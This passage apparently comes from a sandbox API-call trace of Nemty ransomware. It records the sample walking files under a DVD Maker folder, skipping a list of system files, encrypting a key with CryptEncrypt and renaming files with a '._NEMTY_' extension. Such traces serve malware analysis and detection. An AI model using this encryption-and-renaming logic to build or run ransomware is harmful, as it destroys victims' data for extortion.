lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.895] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0097.964] CloseHandle (hObject=0xffffffff) returned 0 [0097.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91608 [0097.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0097.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0097.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0097.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0097.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0097.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941f8 [0097.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0097.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0097.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0097.964] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax._nemty_kgobjgd_")) returned 0 [0097.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0097.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91608 | out: hHeap=0x4f90000) returned 1 [0097.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0097.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0097.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0097.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0097.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0097.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.965] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2=".") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="..") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="...") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="windows") returned -1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="$RECYCLE.BIN") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="rsa") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="NTDETECT.COM") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="ntldr") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="MSDOS.SYS") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="IO.SYS") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="boot.ini") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="boot.ini") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="AUTOEXEC.BAT") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="ntuser.dat") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="desktop.ini") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="CONFIG.SYS") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="RECYCLER") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="BOOTSECT.BAK") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="bootmgr") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="programdata") returned 1 [0097.965] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="appdata") returned 1 [0097.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0097.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sonicsptransform.ax", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0097.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sonicsptransform.ax", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sonicsptransform.ax", lpUsedDefaultChar=0x0) returned 19 [0097.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0097.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sonicsptransform.ax", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0097.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sonicsptransform.ax", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sonicsptransform.ax", lpUsedDefaultChar=0x0) returned 19 [0097.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0097.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0097.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0097.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sonicsptransform.ax", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0097.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sonicsptransform.ax", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sonicsptransform.ax", lpUsedDefaultChar=0x0) returned 19 [0097.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0097.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0097.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sonicsptransform.ax", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0097.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sonicsptransform.ax", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sonicsptransform.ax", lpUsedDefaultChar=0x0) returned 19 [0097.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0097.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0097.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0097.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0097.966] Sleep (dwMilliseconds=0x5) [0097.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xee0c6110, dwHighDateTime=0x1d561e7)) [0097.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xee0c6110, dwHighDateTime=0x1d561e7)) [0097.981] GetLastError () returned 0x5 [0097.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.981] GetLastError () returned 0x5 [0097.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0097.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0097.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0097.982] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0097.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0097.982] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="isT0+8QvUjs3h0oZXrwBECwf5s5ghRcykblo9AQGLyjEcC04ycldAH5a2QI9V0Dg\r\nXmfVrACxyzkpXLlJwWs09dwFLxg5SJTCYZoXZsoGUF1xD6m8ZwPnhVxIMn31aNE2\r\nGvkcG1rb1opfTLyf+foRcPLdMNWTMbOfa1gqz2B4nFacMWJr1eHL7c/+RNjPoeV6\r\nhCBpiXSr5RYoo5aTMs1UuXaK5/I2t9iC5DduhS4Ceg80c1YkQpHn4Pr3TTz/753m\r\n7puwDc6E2eM8fOwR20sx1QhbsenB//Zr0obogigy4fo7W9KiCiMQj/epihvpP9DS\r\nVqAbuIMzZ/T23WFP8iU4fg==\r\n", pcchString=0x653f2dc) returned 1 [0097.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0097.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0097.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0097.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0097.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0097.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0097.982] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.982] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0097.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634fc48 [0097.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.982] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0097.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0097.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0098.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0098.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0098.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0098.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 